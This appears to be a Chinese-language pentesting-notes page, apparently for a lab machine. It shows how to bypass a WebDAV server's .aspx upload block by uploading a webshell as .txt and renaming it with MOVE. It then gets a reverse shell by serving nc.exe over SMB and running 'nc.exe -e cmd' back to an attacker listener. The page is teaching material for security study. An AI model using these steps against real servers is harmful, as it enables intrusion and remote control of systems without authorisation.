> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).
# WebDAV ASPX Web Shell
80端口是开放的，服务器支持 WebDAV。这使我们有可能通过 PUT 方法上传文件，并用 MOVE 重命名它。
创建一个如下文件：
```bash
echo "this is a test" > test.txt
```
使用该工具连接到服务器 **cadaver**:
```bash
cadaver 10.10.10.15
```
尝试使用 PUT 命令上传文件：
* 结果：成功。
### **上传一个 WebShell**
复制一个现有的 ASPX WebShell：
```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```
尝试直接上传它：
```powershell
put aspx_cmd.aspx
```
结果：失败（服务器阻止了扩展名为 .aspx 的文件）。
将扩展名改为 **.txt**:
```bash
mv aspx_cmd.aspx cmd.txt
```
重试上传：
```powershell
PUT cmd.txt
```
* 结果：成功。
#### 使用 MOVE 将文件重命名以恢复扩展名：
```powershell
move cmd.txt cmd.aspx
```
通过浏览器访问 WebShell：
### **通过 WebShell 获取反向 Shell：**
在当前目录放置一个可执行的 Netcat：
```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
启动一个 SMB 服务器来共享该文件：
```bash
smbserver.py smbFolder $(pwd) -smb2support
```
将你的机器设置为 443 端口的监听器：
```bash
sudo rlwrap nc -nvlp 443
```
从 WebShell 执行反向 Shell 命令：
```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```
---
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